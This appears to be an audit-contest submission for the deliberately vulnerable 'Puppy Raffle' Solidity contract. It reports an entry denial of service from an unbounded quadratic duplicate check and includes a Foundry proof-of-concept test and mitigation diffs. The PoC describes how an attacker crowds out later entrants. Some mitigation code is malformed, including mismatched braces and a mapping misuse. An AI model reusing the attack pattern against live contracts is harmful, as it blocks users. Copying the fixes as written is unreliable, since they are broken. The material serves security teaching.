Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Unbounded quadratic duplicate check causes entry DoS

joshuapaul1

Root + Impact

Description

  • Using enterRaffle function players are able to enter in large quantity using an array and the array is checked for duplicate addresses

  • But since the array is unbounded meaning there is no limit in no of addresses an attacker can add many unique controlled addresses, making later legitimate entries exceed the block gas limit. Even honest popularity eventually makes the raffle unable to accept further entrant

// @> line 86
function enterRaffle(address[] memory newPlayers) public payable {
//newPlayers array is unbounded
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
players.push(newPlayers[i]);
}
​
// Check for duplicates
for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
//entry Dos likely to happen , since this can go long time even exceed gas limits
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}
emit RaffleEnter(newPlayers);
}
​

Risk

Likelihood:

  • Medium. When a very large amount of addresses are submitted to enter the raffle , the function is likely to check all the addresses and likely to run into exceeding gas limits . This would still require the attacker to call the function themselves instead of using the UI.


Impact

  • enterRaffle performs a nested duplicate check across the entire players array. The work grows quadratically: adding an entry when there are n players requires approximately n² / 2 comparisons.

  • An attacker can register many unique controlled addresses and grow players until the gas required for another call to enterRaffle exceeds the target chain’s block gas limit. At that point, no participant can enter the raffle.

  • The attacker can tune the array size using gas estimation. This creates a persistent denial of service for raffle entry until the current raffle is successfully settled and players is deleted.

Proof of Concept

he following Foundry test demonstrates the quadratic gas growth. After registering 150 unique addresses, adding only one more entrant exceeds a deliberately limited 1,000,000 gas budget.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {Test} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PuppyRaffleEntryDosTest is Test {
uint256 private constant ENTRANCE_FEE = 1 ether;
​
PuppyRaffle private raffle;
​
function setUp() public {
raffle = new PuppyRaffle(
ENTRANCE_FEE,
address(0x99),
1 days
);
​
vm.deal(address(this), 1_000 ether);
}
​
function test_LargePlayerArrayMakesEntryExceedGasBudget() public {
uint256 existingPlayerCount = 150;
​
address[] memory attackerEntries = new address[](
existingPlayerCount
);
​
// The attacker supplies many unique addresses in one entry call.
for (uint256 i = 0; i < existingPlayerCount; i++) {
attackerEntries[i] = address(uint160(0x1000 + i));
}
​
raffle.enterRaffle{
value: existingPlayerCount * ENTRANCE_FEE
}(attackerEntries);
​
address[] memory honestEntry = new address[](1);
honestEntry[0] = address(0xBEEF);
​
/*
* Adding one player now checks every pair among 151 players:
*
* 151 * 150 / 2 = 11,325 comparisons
*
* Storage reads inside the nested loop make this exceed the supplied
* gas budget. An attacker can increase existingPlayerCount until this
* threshold reaches the chain's full block gas limit.
*/
vm.expectRevert();
raffle.enterRaffle{value: ENTRANCE_FEE, gas: 1_000_000}(honestEntry);
}
}

The attack becomes chain-wide when the attacker chooses a participant count for which the required gas exceeds the network block gas limit, rather than the 1,000,000-gas limit used to make the test deterministic.

Recommended Mitigation

Replace the nested duplicate scan with an O(1) membership mapping. This makes each new entry scale linearly only with the number of addresses submitted in that transaction.

+mapping(address => bool) public isActivePlayer;
​
function enterRaffle(address[] memory newPlayers) public payable {
require(!drawingInProgress, "PuppyRaffle: Winner selection in progress");
require(
msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle"
);
​
for (uint256 i = 0; i < newPlayers.length; i++) {
address player = newPlayers[i];
​
require(player != address(0), "PuppyRaffle: Invalid player");
-for (uint256 i = 0; i < players.length - 1; i++) {
-for (uint256 j = i + 1; j < players.length; j++) {
- require(
- players[i] != players[j],
- "PuppyRaffle: Duplicate player"
- );
- }
- }
}
require(
!isActivePlayer[player],
"PuppyRaffle: Duplicate player"
);
​
isActivePlayer[player] = true;
players.push(player);
}
​
emit RaffleEnter(newPlayers);
}
-for (uint256 i = 0; i < players.length - 1; i++) {
-for (uint256 j = i + 1; j < players.length; j++) {
require(
players[i] != players[j],
"PuppyRaffle: Duplicate player"
);
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] `PuppyRaffle: enterRaffle` Use of gas extensive duplicate check leads to Denial of Service, making subsequent participants to spend much more gas than prev ones to enter

## Description `enterRaffle` function uses gas inefficient duplicate check that causes leads to Denial of Service, making subsequent participants to spend much more gas than previous users to enter. ## Vulnerability Details In the `enterRaffle` function, to check duplicates, it loops through the `players` array. As the `player` array grows, it will make more checks, which leads the later user to pay more gas than the earlier one. More users in the Raffle, more checks a user have to make leads to pay more gas. ## Impact As the arrays grows significantly over time, it will make the function unusable due to block gas limit. This is not a fair approach and lead to bad user experience. ## POC In existing test suit, add this test to see the difference b/w gas for users. once added run `forge test --match-test testEnterRaffleIsGasInefficient -vvvvv` in terminal. you will be able to see logs in terminal. ```solidity function testEnterRaffleIsGasInefficient() public { vm.startPrank(owner); vm.txGasPrice(1); /// First we enter 100 participants uint256 firstBatch = 100; address[] memory firstBatchPlayers = new address[](firstBatch); for(uint256 i = 0; i < firstBatchPlayers; i++) { firstBatch[i] = address(i); } uint256 gasStart = gasleft(); puppyRaffle.enterRaffle{value: entranceFee * firstBatch}(firstBatchPlayers); uint256 gasEnd = gasleft(); uint256 gasUsedForFirstBatch = (gasStart - gasEnd) * txPrice; console.log("Gas cost of the first 100 partipants is:", gasUsedForFirstBatch); /// Now we enter 100 more participants uint256 secondBatch = 200; address[] memory secondBatchPlayers = new address[](secondBatch); for(uint256 i = 100; i < secondBatchPlayers; i++) { secondBatch[i] = address(i); } gasStart = gasleft(); puppyRaffle.enterRaffle{value: entranceFee * secondBatch}(secondBatchPlayers); gasEnd = gasleft(); uint256 gasUsedForSecondBatch = (gasStart - gasEnd) * txPrice; console.log("Gas cost of the next 100 participant is:", gasUsedForSecondBatch); vm.stopPrank(owner); } ``` ## Recommendations Here are some of recommendations, any one of that can be used to mitigate this risk. 1. User a mapping to check duplicates. For this approach you to declare a variable `uint256 raffleID`, that way each raffle will have unique id. Add a mapping from player address to raffle id to keep of users for particular round. ```diff + uint256 public raffleID; + mapping (address => uint256) public usersToRaffleId; . . function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { players.push(newPlayers[i]); + usersToRaffleId[newPlayers[i]] = true; } // Check for duplicates + for (uint256 i = 0; i < newPlayers.length; i++){ + require(usersToRaffleId[i] != raffleID, "PuppyRaffle: Already a participant"); - for (uint256 i = 0; i < players.length - 1; i++) { - for (uint256 j = i + 1; j < players.length; j++) { - require(players[i] != players[j], "PuppyRaffle: Duplicate player"); - } } emit RaffleEnter(newPlayers); } . . . function selectWinner() external { //Existing code + raffleID = raffleID + 1; } ``` 2. Allow duplicates participants, As technically you can't stop people participants more than once. As players can use new address to enter. ```solidity function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { players.push(newPlayers[i]); } emit RaffleEnter(newPlayers); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!